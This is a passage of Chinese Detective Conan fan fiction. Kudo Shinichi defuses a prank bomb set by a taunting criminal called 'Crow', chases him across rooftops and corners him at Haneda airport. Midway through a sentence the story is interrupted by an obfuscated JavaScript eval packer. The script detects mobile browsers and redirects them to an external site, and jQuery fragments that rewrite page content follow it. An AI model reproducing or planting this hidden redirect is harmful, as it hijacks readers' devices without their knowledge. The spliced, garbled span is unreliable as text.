蜥虎脸上浮现出狰狞的神情,将牙齿咬得咯咯作响。 就是这个恶魔,他为组织效力了三十多年,如今却被逼得快要山穷水尽。 他恨不得能够当场生啖其肉。 对于蜥虎气急败坏的指控,工藤新一的目光却在走神间略微偏移,似乎在想其他事情,心不在焉地沉默不语。 这时对面人的口袋忽然响起铃声,蜥虎本就焦虑不安,对此变故愈发感到心烦意乱,动作粗鲁地从口袋中掏出手机按下接听键,语气极差道:“什么事?” 一阵令人心悸的沉默。 蜥虎意识到不对,看了一眼屏幕,来电居然显示为未知号码,冷汗顿时从脸侧淌下。 通讯那头的人似乎看得见他越来越难看的表情,轻笑一声。 “你求助外援了吗?” 这笑声经过电波处理,嗓音略微失真,而且声音短促、轻蔑,语气带着点猫捉老鼠的傲慢无礼,让人感到一种未知的危险。 蜥虎顿时浑身如筛糠一般颤抖起来,脸上情绪分不清更多的是愤怒还是恐惧。 “果然是、是你……”他艰涩道。 “手机给我。” 工藤新一见势不妙,从蜥虎摇晃的手里夺过手机,感受那头从容的气息,还未开口,对方仿佛对此早有预见,轻哼一声。 通话被立即挂断。 工藤新一紧握手机的掌心一点点收紧,略微压低了眼睫。 “追踪到来源号码了吗?” 蜥虎身侧一名戴着眼镜的青年蹲在笔记本电脑前报了一串数字,说这是不记名的太空号,IP同样跳转到太平洋的不知名岛屿上,无法追踪。 “这种电话卡虽然不记名且网络禁售,但通讯商能记录出售该电话卡的各家店铺的电话号段。”工藤新一不假思索道,“线下商店通常按顺序出售,调阅监控就有追踪的可能,天亮以前,我们就能够得到购买了号码的人的去向。” “没用的。乌鸦的身份成谜,连我们组织里的很多人都不知道他的样子。”蜥虎说,“变色龙是他的心腹,那位是变装术的高手,乌鸦的伪装能力只会更高,不可能轻易被人抓到踪迹,你大概率是做无用功。” 若非如此,蜥虎也不会在组织中的地位被夺以后如此六神无主。他在心里暗恨。那个巧言令色的家伙!竟然连BOSS都被他蒙蔽了,还容许对方插手自己手上的生意,只把他们的纷争当作争夺利益。 回忆起此前数次让他只能死里逃生的危机,蜥虎不由对乌鸦层出不穷的手段感到胆寒。对方那些布置,桩桩件件都是要将他逼于死地,哪怕亡命之徒都胜不过他的肆无忌惮。 尤其是上周,在众目睽睽之下,集团大楼前发生的那起爆炸案件。 蜥虎事后才查出车子和监控都被动了手脚。 如果不是工藤新一这位不速之客的来访打乱了他的外出行程,他就会死在看似完全是意外的燃油泄漏事故里。 历经数次事关生死的致命危机之后,蜥虎彻底陷入杯弓蛇影的恐慌之中,在随时可能踩中死敌陷阱的畏惧中惶惶不可终日。 他已深刻意识到自己在智慧层面绝对无法与乌鸦匹敌。 擅长运用天才般的诡计,热衷于玩弄人心,而且历次行动中都能够冷静且谨慎地销毁所有动手的痕迹,对方可谓是完美犯罪的策划专家。 蜥虎决定跟工藤新一交易,其实是驱狼逐虎的策略。 他知道这位侦探不会放弃把他绳之以法,但他手上也有筹码。比起穷途末路的自己,动作激进的乌鸦才是那位侦探的真正目标。因此只要筹划得当,他就能借机全身而退。 “变装不是万能的手段。”眼下对于蜥虎的质疑,工藤新一只是笑了笑,“一个人做任何事都是有迹可循的,只要抓住无法解释的异常之处,无论他用了哪一张脸,又有什么关系呢?” 目前可用的线索太少,工藤新一决定先去寻找电话卡的买主。 蜥虎现已决定壮士断腕,放弃自己在国内的经营,逃到境外。他本来不愿在离开前横生枝节,但乌鸦在大庭广众下揭露的视频似乎也暴露出对方已经失去耐心。 “地下的猫捉老鼠游戏要结束了。” 就像在这么说。 ——那个残忍的家伙,终于准备动真格的了! 蜥虎内心的恐惧被激发到极致,顾忌最后关头身边又被乌鸦设下圈套,他吩咐管家安抚在场的宾客,带上重金雇用的佣兵保镖,半是随同半是监视地跟上工藤新一。 名侦探的帮手手段不凡,蜥虎确信对方如约没有惊动警方,却在短短一小时内追踪到了购买号码的人的身份居所。前往的途中工藤新一坐在车上闭目养神,蜥虎向后给保镖使了一个眼色,对方点头,暗中将手枪藏进西装的内袋。 一行人连夜赶赴目的地,打昏公寓大楼门口的保安,乘坐电梯赶往嫌疑人的所在处。 其中一名技能多样的保镖无声地撬开门锁,房间昏暗,几人绕过玄关,看见监控中出现过的独居男子正睡在客厅的沙发上。 一名保镖将手枪对准男子的前额,工藤新一见状神色微动,却被旁边的人按住了肩膀。 蜥虎站在男子的面前,神情晦暗,眼神透出杀意。 沙发上的男人对于周身发生的一切一概不知,自顾自睡得正香,发出很大的鼾声。 在他面前的茶几上,七零八落地摆放着大量来自便利店的劣质罐装酒,空气里溢满浑浊的酒气,从窗台照进来的光线让人将他呼吸时张开的嘴巴都看得很清晰。 在场的几人都察觉出不对劲。 乌鸦以机警狡诈闻名,哪怕只是乌鸦的手下,怎么可能在这么多人的注视下睡得安然自若呢? 蜥虎一个激灵,被恨意充斥的大脑骤然清醒。 他冷冷地看向眼前的男人,伸手掀开对方身上的薄毯,接着映入视野的画面令他猛地一惊,呼吸一滞。 只见昏睡的男子完全赤裸的身体上层层缠绕着锁链,被透进屋内的月光折出冷冽的银色,而更夺人视线的是对方怀抱于胸前的一个形似塑料盒子的东西,顶上的机械显示屏中,散发着猩红光芒的倒计时规律地跳动着,是炸弹! “快走——!!!” 不足一分钟的倒计时数字剥夺了蜥虎仅剩的理智,血丝爬上他急剧缩紧的瞳孔,他想也不想便撤身后退,跟着保镖向门外冲去。 “等下!”工藤新一出声阻止,这一动作惹怒了蜥虎,蜥虎大喊:“别找死!”旁边的人也毫不犹豫地拔枪对准了侦探的额心。 “你想死的话,我就先送你归西!” “冷静点!倒计时是假的。” 工藤新一的双眼死死盯着枪口,缓步后退,靠近被叫喊惊醒、发出惊恐声音并挣动锁链的酒醉男子。 侦探的话语短促,却直击结论。 见保镖准备扣动扳机的动作停了下来,他很快说:“仔细看,显示器与炸弹没有连接的电路,只是在循环倒计时而已。” “这是感应炸弹!”被捆绑的男子因极度恐惧而带着哭腔大喊道,“真正的显示屏在侧面,你们踏进房间十分钟后它就会爆炸!” “你怎么知道这点的?” “你看头顶!”对方眼泪横流,急促的话语变得含糊不清,“他写在天花板上了!” 房间内光线昏暗,阴影里黯淡的字迹在黑暗中并不显眼,对于仰躺在沙发上的人来说睁眼可见,对于匆匆赶来的外来者却是视野盲区。 正常人只会戒备可能隐藏于此处的敌人,注意力很快就被沙发上昏睡的人吸引过去,谁会一开始就仔细观察天花板有没有隐藏字迹? 仅此一处细节就暴露出对方对人心的精准算计。 工藤新一翻过他的身体,确实在盒子侧面看见了跳跃的红色数字,透过透明的塑料外壳能够看见电线与内部连接,确实是真正的倒计时。 “现在还有八分钟,不要乱动,我有时间拆炸弹。”他说道。 “工藤侦探,现在可不是你对普通人大发善心的场合。如果你坚持要救人,那我恕不奉陪!”蜥虎左顾右盼地环顾四周是否还设有其他致命机关,置身陌生的环境令他远没有工藤新一那样从容,语气恶劣道,“别耍心思,我会在楼下盯着你。” 蜥虎说完,就立即带着他的人飞速离去。奔跑声又响又急,竟然是连下行的电梯都不打算等,径自向楼底冲去。 另一边在屋内,醉酒男子的身体已经抖如筛糠,慌乱的眼神不断地在身上的炸弹和工藤新一的脸上来回游离。 “怀疑我不能救你?”工藤新一此刻居然微笑了一下,语调还是上扬的,搭配在近距离中冷静至极的蓝色眼睛所展现出的神情,形成一种强烈的气场。 他没有承诺什么,平静地说道:“我要开始拆弹了。” 修长稳定的手指放在塑料外壳上开始作业,醉酒男子似乎从他的镇定中汲取了希望,停止了惊恐地颤抖,眼神中浮现出了期盼的神采。 工藤新一从腕表内侧抽出一根银色的圆轴,这是博士为他改造的,手表内藏多个配件,可以组装成多功能的工具。他轻轻拧下固定外壳的螺丝,用薄刃割开假显示屏与炸弹的连接,打开炸弹的外壳——这是拆弹工作中无法规避的步骤。 这部分进展得还算顺利,他看了眼剩余的时间,还有六分多钟,抓紧些时间也能完成,凝神屏气地检查电线的构造,手法娴熟而谨慎。 公寓的客厅有一面时钟,指针一帧一格地匀速向前迈进,就像死神一点点收紧勒在二人脖颈的索命绳索。 工藤新一垂着头,偏长的额发遮住眉眼,唇不自觉地抿直,大概是被一连串的意外推动得不得不顺势行动,内心罕见地萦绕着一种被人看透的感觉,紧绷着精神读秒倒数,隐隐觉得似乎还有什么被他遗漏的东西。 挑中一根电线,用剪刀切断内芯的瞬间工藤新一微微一顿,发觉手感不对劲,他看见剥开的橡胶外壳内里除了内芯之外还缠绕了一根更细的电线,顿时心脏急跳,暗叫不好。 这里面居然还藏着另一条暗线! 他的刀刃太锋利,意识到的瞬间两根电线已被齐齐切断,在“滴——”的一声尖响后,侧面显示屏的倒计时骤然加速,剩余时间飞速缩短。 只经过短短一次急促的呼吸,倒数已然逼近了终点! 被锁链捆住的男子发出一声绝望尖厉的惨叫,身体如同癫痫发作般剧烈挣扎起来。 即便工藤新一也在瞬间如被扼住了喉咙,冷汗浸透后背。 最后的生死关头,他伸手抓住炸弹的内芯主体,生生将其从外壳里扯了下来,转身要向窗外投去。 与此同时,倒计时归零。他手中尚未抛出的炸弹随之膨胀裂开! 工藤新一依从本能闭上了眼睛,准备迎接烈火焚身的剧痛,接下来是生是死只能听天由命了—— 然而想象中的爆裂震响和高温灼烧都不存在。 “——噼啪!” 只有一声纸筒炸开来的响炮声。 他的掌心被空气炸得一麻,心脏也猛地一缩,一阵麻痹之感传来,随后在惊愕中身上落满了缤纷闪亮的彩纸屑。 耳边回荡着欢乐颂的乐声,音质粗糙差劲。 竟然是年轻人中极其常见的廉价派对礼花。 在死里逃生的惊险氛围下,欢快的音□□出一种黑色幽默。 工藤新一摊开手掌,凝视着一张黑色卡片,扫过上面笔迹嚣张的文字,神情变得危险莫测。 被摆了一道。 夜风从窗外吹来,暧昧地勾过工藤新一被冷汗浸湿的脖颈。周遭过于安静,他醒过神,看向房间中的另一人,只见对方双眼翻白,竟是被吓昏过去了。 又费了番功夫把人重新叫醒,工藤新一重新蹲下身:“你是乌鸦的下属?” “乌鸦?什么乌鸦?”男子对他的问题感到迷惑。 工藤新一并不意外,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597748|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“今晚的电话,是谁指使你打的?” “我……我什么都不知道啊。”对方说,“我前几天在回家路过的小巷看到一个遗落的信封,上面写着我的名字……信封里面有十万日元、一张纸条和U盘,里面说让我去买一个手机号,然后在他指定的时间拨打电话,把U盘里的音频放送出去而已,事成还会再给我十万。我……我事先听了那个音频,没有什么特别的内容,就觉得不做白不做。” “你昏睡前发生了什么,还有印象吗?” “不记得了……这事挺简单的,我难得手头宽裕,就去楼下买了点酒。以前我不会这么快就醉,今天也不知道怎么回事……”说着,那人的脸上浮现出强烈的悔意。 他知道自己做的事背后可能不太干净,但只是替人传两句意义不明的话而已,谁能想象一睁眼发现自己和炸弹捆在一起的恐惧?以后他再也不敢贪图来历不明的钱了! 很可能有人在酒里下了安眠药物。 难道这人只是被利用了?工藤新一审视着他脸上的神情,站起身,没有帮他解开缠身的锁链,让他第二天早上大声叫喊请邻居帮忙联系公寓管理并报警求助,随后收起手中的黑色卡片,转身去了楼下。 “炸弹是假的。那个人什么都不知道。”工藤新一眼神微闪,把卡片给蜥虎看,“这是对方留下的讯息。” 「亲爱的蜥虎,你以为逃得过我的翅膀吗? 我已经为你挑选了最适合你的死法。 乌鸦是一种睚眦必报的鸟类。 以牙还牙,以眼还眼,这是我的做法。 你真诚的故友」 笔走龙蛇的锋利字迹,字里行间透着猖狂,嚣张的气息几乎要飞跃出纸面。 哪怕他自始至终都未曾现身,也不难想象出,这是一个足智多谋、思维缜密同时又肆意妄为的人。 无声的空气似乎中传来理智崩断的动静,蜥虎捏碎了纸片,额角浮起青筋。 “哼,乌鸦,别以为你能得逞,我不会让你如意的。”他狞笑着,眼神中透着狠厉地说道。 如果目的仅是挑衅,那么对方无疑已然大获全胜。工藤新一将手指轻搭在下颌,陷入对对方目的的思索中,目光缓缓转向公寓大楼上方漆黑的窗口,眼神陡然锐利起来。 不对。 侦探忽然感觉到了不对劲。 如果目的只是为了传递报复的消息,对方根本没必要一开始就给炸弹设置一个假的倒计时。 工藤新一在心中暗自思忖。 虚假的倒计时是一个筛选的道具。因为蜥虎已经被乌鸦层出不穷的手段吓成了惊弓之鸟,他看到炸弹后,本能反应是以最快的速度撤离。 拆弹的时候,他发现对方设置的假显示屏是将倒计时调整为在60秒整到30秒整的区间内无限循环。当屏幕倒数到30秒时,程序自动重启,又从60秒开始倒数,这会让那些猝不及防看到屏幕的人误以为自己只剩下极限的求生时间。 倘若只是蜥虎孤身一人赶来,在极度的恐惧和慌乱之下,他很可能根本无暇仔细观察炸弹的构造,便会在头脑发热的状态下第一时间逃离现场。 可为什么要这样做呢? 工藤新一心中疑惑顿生,想到某个可能性,呼吸不禁微微急促起来。 除非对方知道,这种杯弓蛇影的手段能够欺骗蜥虎,却无法扰乱像工藤新一这样水准的对手。 而只要他们一踏进屋门便会在十分钟内爆炸的感应炸弹,无疑是对方设下的第二个局。 有了之前假倒计时的误导,反而会在心理上让他们更加相信这十分钟倒计时的真实性。对方把蜥虎的心理拿捏得太准了,笃定即使蜥虎被工藤新一阻止,也绝没有再次冒险尝试的勇气。 与此同时,布局者也深信不疑,以工藤新一的性格,绝不会抛弃那个被炸弹缠身的昏睡男子,必然会选择留下来尝试拆弹。 这一系列环环相扣的心理战术,如同巧妙的催化剂,轻而易举地离间了本就貌合神离的合作双方。 最终,包含挑衅信息的纸片落到工藤新一的手上,由他决定是否将其内容告知蜥虎。 工藤新一心中清楚,这毫无疑问是对方精心设下的一个诱饵。 以牙还牙,以眼还眼。这暗示着蜥虎曾对乌鸦做过某些事情,从而导致乌鸦对其抱有强烈的怀恨之心。 他要是选择告知对方,就能够从蜥虎的反应入手,挖掘出有关乌鸦的情报。 若他不告知蜥虎,工藤新一受到情报差距的限制,有可能只能眼睁睁看着蜥虎落入乌鸦的圈套,导致对方阴谋得逞。 与此同时,侦探敏锐地意识到,这还是个调虎离山的诡计。 第三重布局,目的也是诱使工藤新一以为对方已经达成目的,从而让他离开现场。 瞬间,那些在惊心动魄的拆弹过程中无暇去深思的线索,在电光石火间闪过侦探的脑海。 安眠药的起效需要时间。便利店购买的罐装酒是密封设计,而茶几上的啤酒罐全都是刚从冷藏柜里拿出来不久的状态,凝结在金属外层的水珠甚至压根没有蒸发干净—— 乌鸦还没走!他刚才肯定就在那间公寓里! 结论浮现在脑海里的瞬间,工藤新一不顾身后的叫喊,拔腿冲回公寓大楼。 午夜过半,两部先前还能够使用的电梯齐齐显示着暂停服务的红色字样,在寂静的黑夜中,就像恐怖电影里才会出现的画面。 工藤新一没有停留,推开楼梯间的大门。 他们先前所在的房间位于十层,从离开房间到到达大楼门口的时间是一分钟。 按照奔跑的速度,前四层每上一层楼耗时4秒,到了第五层之后,由于体力被消耗,每上一层楼就得耗时5秒,这样算下来,重新回到十层也差不多要花一分钟的时间。 公寓大楼的房门统一面向楼下的入口,也就是他们当下所处的位置。乌鸦如果选择从正门离开,定然会被早已守在外面的蜥虎发现踪迹。而在电梯无法使用的情况下,乌鸦如果选择使用楼梯离开,必然会与上楼的工藤新一狭路相遇。 所以在电梯不能使用,走正门无法掩藏行迹,走楼梯会碰面的情况下,对方的选择实际上就只剩下一个了。 工藤新一推开通往天台的铁门,抬手遮挡迎面而来的狂风,努力按捺住因心跳加速带来的剧烈喘息,双眼警惕地四处环视。 夜雨早在不知不觉间彻底停了,月色穿越乌云,在清光越来越澄亮的视野中,有个披着漆黑斗篷的人静静站在不远处,看似毫无破绽,却又透露出一种漫不经心的姿态。 工藤新一的眼神瞬间锐利起来,紧紧锁定住那个身影。 那是个比工藤新一预想中要年轻很多的人,颀长的侧影透出无比尖锐的危险气息。 二十几岁,或者更年轻? 也难怪,能够写出如此锋芒毕露的挑衅信,骨子里必然是个意气风发的少年,无所畏惧的狂徒。 相隔一段遥远的距离,藏在斗篷下的眼睛似乎也向他望了过来。 工藤新一的脚力远超常人,在对方转身逃离的时候毫不犹豫地追赶上去。 这附近并非高级居民区,老旧的平楼挤挤挨挨,勉强构成一条高低错落的通路,侦探在夜幕下咬牙追逐,头顶是无比压抑昏暗的夜色,奔跑时仿佛连天际翻涌的浓云都触手可及。 漆黑的斗篷在风中翻动着,却仿佛蒙着一层高光一般,在工藤新一的眼里格外清晰。 灯火摇晃的长街在二人脚下飞速后退,低头所见的纷繁风景足以让所有恐高患者瞬间丧失行动能力。他们翻越了无数结构复杂的铁管水塔,终于,对方在一道横亘于两栋高楼间的铁索前猛地停下脚步,漆黑兜帽下的脸庞缓缓转了过来。 那姿态,仿佛在无声地警告:别跟上来了。 下一瞬对方单手扯住唯一的滑钩,铁索剧烈作响,几乎摩擦出火星,急速向对面滑去。 后方的工藤新一脚步丝毫不停,他迅速单手解开西装外套,扯下衬衣外扣的背带并挂上铁索,随后用牙齿咬住锁扣固定,毫不犹豫地从天台边缘纵身一跃而下! 风如刀割,寒凉凛冽的气息扑面而来。 黑夜为背景,铁索上的二人在惯性和重力的共同作用下急速滑行。 工藤新一的心跳如擂鼓,他已许久没有做过如此刺激冒进的举措,此刻肺腑好似被浸泡在冰凉的空气之中,隐隐约约传来一丝撕扯的疼痛,他抓在背带上的手指不由得收紧。 我会抓住你。 仿佛能听见他的心声一般,前方的人稳稳落在铁索尽头的平台上。工藤新一又一次觉察到对方的视线,冷冽的、又带着点惹人心悸的玩味,眼见黑色袖摆下方寒芒一闪,他顿时瞳孔骤缩,是短匕。 “锵——” 火星四溅! 他斩断了铁索! 彼时工藤新一才滑行到中途,下方就是车流不息的马路,如若他直接坠落,不会有粉身碎骨以外的结局。 时间仿佛慢放的一瞬,工藤新一抓住铁索的末端,掌心因剧烈摩擦瞬间变得血肉模糊,他仿佛未觉般紧咬牙关,借势在空中用力一荡,蹬碎下方房屋的玻璃,从窗口跃入后迅疾滚地,总算安全着陆。 但作为劫后余生的代价,他失去了继续追踪乌鸦的机会。 “可恶!” 在房屋的主人因非法入侵而发出尖叫时,他泄愤似的狠狠将拳头砸向满是玻璃碎渣的地面,顿时眼前鲜血四溅,一片触目惊心。 14.File 14 “真是的,就算办案也不该罔顾自己的安危啊!” “对不起。” 干脆利落的道歉反而让责备的人话语一噎,夹住碎玻璃碴的镊子停顿下来,上面一点稀薄的血迹在灯下折射出淡红的光。 道歉的工藤新一垂着眼睛,落在伤口上的视线却有些漫不经心,毫不掩饰他正在思考别的事情。 让人只能感到无奈。 “该对不起的对象不是我吧。手不痛么,新一哥?” “没事,别介意。”工藤新一对她笑了下,眼帘抬起那瞬间的俊美容貌仿佛被灯光照过,吉田步美看得晃了下眼,在心中轻轻倒吸了一口气。 真好看啊……豆蔻年华的少女红着脸想,接着听对方很客气地道:“麻烦你深夜劳神了。” “真是的,新一哥再这么见外我就要生气了哦!” 吉田步美故作生气地说,眼见他在自己的威胁下乖乖点头,才笑了出来。 她一边处理对方的伤口,一边自以为隐蔽地悄悄观察对方。 长相俊美,修养过人,常年从事危险的侦探工作,还有行踪非常神秘,这是吉田步美对工藤新一的主要印象。 她很崇拜这位侦探哥哥,不过工藤新一这些年与日俱盛的气势令她每次见到他心跳都快得厉害,往往对方无意间的一个眼神都能封住她的呼吸。在给远居国外的江户川柯南发的邮件中,吉田步美曾表达过自己与这位名侦探哥哥交流的忐忑,对方却用轻松的口吻让她随心说话就好,真是不懂少女烦恼的发言……但吉田步美自己也弄不清楚她是何时与工藤新一熟悉起来的,也可能是因为对方总时不时造访她所实习的医院吧。 自从得知挚友灰原哀大学在医学院就读,吉田步美就暗下决心,她要成为灰原医生的最佳助手。 吉田步美没有注意到对方选择的是科研方向的医药专业,所以她悄悄报读了护理学科,因此在通修理论课程的同时也作为实习护士进院学习。 她偶尔会在值守夜班的时候遇见工藤新一。 此前院中年轻的女孩们一直暗中争抢为侦探先生服务的机会。吉田步美到来以后,因为工藤新一时常主动向她示意,或者关切地询问光彦和元太的近况,后来为工藤新一处理伤口等事就成了她的专职工作。 次数多了,她也敢抱怨对方总是疏于照顾自己,外伤病历比一些特警还厚。 工藤新一有时候会若无其事地转移话题,有的时候就直接为给她造成麻烦而道歉。 唉,只是关心而已。吉田步美非常无奈。对方那副轻描淡写的语气,摆明了就是理解她的苦心,很抱歉但绝不悔改,所谓的歉意只是表示很遗憾辜负了她的好意。 吉田步美心想:这个人和柯南君有点像,可能侦探就是这样。 清创消毒,她的每一步都做得非常认真,因为经验不足,吉田步美经常担心自己的动作不够小心,会加剧工藤新一手上伤口的痛楚。 哪怕新一哥不会因此责怪她,吉田步美还是颇感压力,直到小心翼翼地上完药扎好绷带,她才如释重负地呼出一口气,用手背擦了擦额头渗出的汗水。 她看见工藤新一把处理伤口时从无名指摘下的银戒拿了起来,不由说:“会碰到伤口的,还是别戴了吧。” 说完吉田步美偷瞄了一眼那枚她去年还未曾见过的戒指,内侧隐隐约约似乎有镌刻的印记,在看清之前就被工藤新一的手指挡住了,心里有些好奇又不太好意思问。 她对上了工藤新一的眼睛,一瞬间以为自己所有的想法都被看得一清二楚。 难为情的感觉还没来得及袭上心头,吉田步美就听见工藤新一若无其事地说没事。 好吧,让新一哥任性一下也没关系。她挠了挠脸颊。 “新一哥这次的工作结束了吗?” “还没有。” “是什么样的犯人啊?” “潜在杀人犯。” 吉田步美发出一声小小的惊呼,眼睛轻眨,却没有表现出害怕。她以前作为少年侦探团的成员,参与过许多激动人心的传奇冒险,胆量早被锻炼出来了。现在吉田步美只是为案件未破感到有些紧张。 “希望他别成功。”她说,“我相信新一哥一定能阻止犯人的。” 闻言工藤新一“嗯”了一声,眼里一片平静,已分毫不见此前溢于言表的激烈不甘。 “我会的。”他轻轻地说。 “你真的要阻止乌鸦吗?” 耳机里传来声音,在工藤新一应声过后,对方的语气显而易见地糟糕起来。 “侦探先生,论危害,乌鸦可比不上蜥虎。尽管因为乌鸦是反侦察的行家,我们一直抓不住他作案的关键证据,无法判断他为那个组织效劳了多少才爬到高层,但蜥虎可是显而易见的劣迹斑斑,与官员的内幕交易,走私违禁品,还有非法赌场……你不知道他那个公海的私人岛上发生了多少逼人去死的惨事!” “我知道。” 侦探站定在道路的一侧,轻描淡写的一句话就将那头的人噎得半天发不出声音。 此刻羽田机场的某条主路正挤得水泄不通,一列车队抵达停车场入口,阵势让不知情的人以为是哪位高官或是巨星出行。护卫的车辆率先打开车门,走下数名戴着黑色礼帽、黑色墨镜、黑口罩以及穿着黑西装的职业保镖,全部下车就位后,中央的宾利车直接开至地下直通贵宾室的专用电梯入口处,同样佩戴着口罩的一名英俊的青年从前座的副驾驶走下,走到后方拉开车门。 蜥虎并未立刻从车上下来,而是同样先在车上佩戴好装备,戴上礼帽、口罩和墨镜,然后才将腿从车内迈出。他整个人被大衣包裹得严严实实,全副武装的架势与周围的保镖别无二致,很容易推测出他的外套中应该穿了防弹背心。 英俊青年见蜥虎下车,低声道:“父亲。” 年轻人名叫中岛大政,是中岛一雄,也就是蜥虎的亲子。 蜥虎对他轻轻颔首,不再言语。 在他被乌鸦穷追猛打,不得不逃离国内的最后关头,所有人的神经都绷得很紧。 这种时候蜥虎已经不敢把自己的安全完全给托付他人,唯独身为继承人的独子还能够稍微信任。 当初乌鸦在组织里崛起,最先就是踩着他儿子的势力上位,父子俩同仇敌忾,对乌鸦畏惧至极,又恨之入骨,只道有朝一日必将报仇雪恨。 通过安检以后,所有人都肉眼可见地放松了些许。尽管不能排除空乘等工作人员被买通的嫌疑,但在外来人员连刀片都不能携带入内的贵宾候机室里,被一众职业保镖环绕其中的蜥虎就像是身处铜墙铁壁之后一样安全。 他的独子站在保护圈的稍外侧,视线如鹰隼般扫视着贵宾室外三两路过的旅客,眼底藏着淡淡的杀意。 中岛大政是截拳道的高手,尽管无法携带枪支或者刀具,但他相信凭自己的实力,一旦发现乌鸦的踪迹,就能将其就地解决。 “先生,机场那边说今天早晨的天气不好,航班可能有半个小时以上的延误。”保镖对蜥虎说。 坐在中央的人没有说话,帽檐下的脸庞笼罩在阴影里,周身气氛沉郁紧张,显然对方此刻正陷于极度不悦的心情中。 就在这个时候,他的衣袋里忽然传出邮件到来的声响。蜥虎打开手机,屏幕上方流动着一条讯息: 「别忘了我们的约定。」 来自工藤新一。 用协助他平安离开日本的条件交换某件有关魔石的秘辛,这是蜥虎与他的交易。 在这紧要关头,蜥虎连那个与警方的关系太过紧密的侦探都不敢相信,他无数次在心中恶毒诅咒,希望工藤新一能落得个和乌鸦同归于尽的结局。 思及对方此前明里暗里与乌鸦的多次博弈,工藤新一显然拥有牵制乌鸦的能力,就是不知道这次那位不知死活的侦探能在什么地方发挥作用了。 被蜥虎所热情挂念的工藤新一正通过地面层入口进入机场,他将手机贴在耳边,安静听着对面喋喋不休的劝告。 “……你既然知道就更不该掺和进去!让他们内斗!然后我们伺机将他们一网打尽!”通讯那头的人苦口婆心地说,“蜥虎死了肯定比任他逃出国外更好,工藤你不应该助纣为虐。” 工藤新一沉默了一会儿,似乎在思考:“你说的也有道理。” 对方闻言精神一振,忙道:“那你就——” “那我就来猜一猜……”工藤新一接话,他的声音被刻意放轻,尾音的气声听来已弱得接近耳语,却仿佛一步步将人驱赶到悬崖前,“我手机里安装了解码变声器的程序,解析不出你真正的声音,说明你本人具备变声技巧。你是乌鸦的手下变色龙,还是他本人?” 那人卡壳了一瞬:“我不明白你在说什么。” “蜥虎的罪行以后自有法律审理,侦探不是决定他生死的审判者,我该做的只是竭尽所能地找出他的犯罪证据……而且连我都不敢自许正义使者,谁又能保证私刑的公正性?”工藤新一忍不住笑了,状似守序的话语里暗藏了一丝狂妄,“我答应保他出国,自然有将他原状擒回的自信,恶贯满盈的罪犯当然要活着伏法才有意义。你是出自什么立场鼓动我置身事外?想和他一对一对决?不,你没有那么无聊……是因为我已经妨碍到你了?” 工藤新一越说语气越是危险,在他迈步进入候机大厅后,视线从容自若地扫过等候区的众多座椅。 “为什么你这个时候给我打电话呢……” 春夏交际时的气息最为湿润缠绵,日日夜夜下着小雨,清晨的雾浓得能看见流动,与风一同勾缠着工藤新一大衣的衣摆,越来越远的感应门在他身后闭合。 对方道:“我想工藤你可能是有什么误解,我并非罔顾日本的律法,只是出于人道主义的关切,不希望他们造成更多的危害,你知道我们组织的性质。” “不必这么着急辩解。”工藤新一道,“大雾天航班延误,蜥虎一定比你更不镇定。来玩游戏吧,乌鸦先生,你一定是看到我了,对吗?让我想一想,你想报复蜥虎,想要他的性命,偿还某件发生在你身上的旧怨,一定不愿让复仇假以人手,也不会让二楼由职业保镖层层把守的贵宾室位于你视野的死角。能第一时间发现我的到来,说明你同样保留了对机场所有入口的关注。你当然不可能拥有分身术,所以窃取监控设备的权限似乎是最适宜的选择,既然如此,你觉得我该怎么找到你?” 在一段极其短暂却叫人似乎连呼吸都吊起的寂静对峙中,对方好似十分忌惮地陷入沉默,又仿佛着迷于倾听而忘记了言语。 工藤新一短促地笑了一声,好似将人心都看透了一般。 候机厅外又下起了小雨,浓雾如浪,扑在他的脚边的落地窗上。 “我已经找到你了。” “我过来之前特地拜托机场将17号入口的实时监控延迟了10分钟,所以在我经过特殊通道抵达候机厅的同一时间,你掌握的监控中才会出现我身影。头等舱贵宾室的邻区是商务舱候机室,打电话很容易引人注意,不过使用耳机和手机或平板的人倒不少,有利于你混入其中。但你不可能坐在前排的等候座,太容易引人注目了,后方的位置靠近停机坪的落地窗,玻璃的反光也会暴露你观看监控的现况,那么嫌疑范围就可以进一步缩小……” 耳机里带着笃定笑意的声音越来越清晰,像是通讯那头的人也在不断迫近他的真相和他的现实,跷腿靠坐在墙边位置的年轻人“啧”了一声,让手机从掌心滑入袖口,丢开已经数分钟没有翻页的杂志,在工藤新一与他将彼此映入眼帘的下一刻,毫不犹豫地转身逃跑。 “你没有任何退路了。我已经联络降谷先生安排公安把守在各个入口,乌鸦,今天你插翅也难飞。” 工藤新一一边追一边说得又急又快,果见对方舍弃了朝大门方向逃离的念头,灵巧地绕开搬运行李的旅客,踏上扶梯的栏杆,三两下轻盈地跃至楼下。 他眸光闪动,正待再说什么,对方却发出一声轻蔑的笑。 “哼,你觉得那些庸才能抓得住我么?” 滋滋声传到耳中,是乌鸦结束了通讯。 数名安保人员前去阻拦,仅在眨眼间就被他抽走腰间的电击棍,然后被精准狠辣地一击袭中后颈,随即连声音都来不及发出,就接二连三地栽倒在地。 工藤新一不可避免地被这些人阻拦了前进的脚步,侦探拧起眉头,伸手探了探昏迷众人的脉搏,确认无恙后才重新起身追去。 对方像在故意恶作剧,一边跑还一边把身上的外套领带等物都解开,他从身上脱下一件,就朝身后的工藤新一抛过去一件,让工藤新一闪躲得极为狼狈。 偏偏侦探顾忌着他变装成他人脱身的可能性,一瞬也不敢让他从自己的视线中逃离。 双方在错综复杂的回廊中奔跑追逐,不知转过了多少个弯,工藤新一推开厚重的大门,视线越过杂乱的配电室设备,最终落在了那个已经将半边身体探出窗外的身影上。 窗户大敞,汹涌浓雾灌进室内,在这同一时间,对方漫不经心的一声笑语也涌到了工藤新一的面前。 “我当然知道打电话给你就会暴露我自己,不过工藤侦探,你觉得我为什么要特地吸引你的注意?” 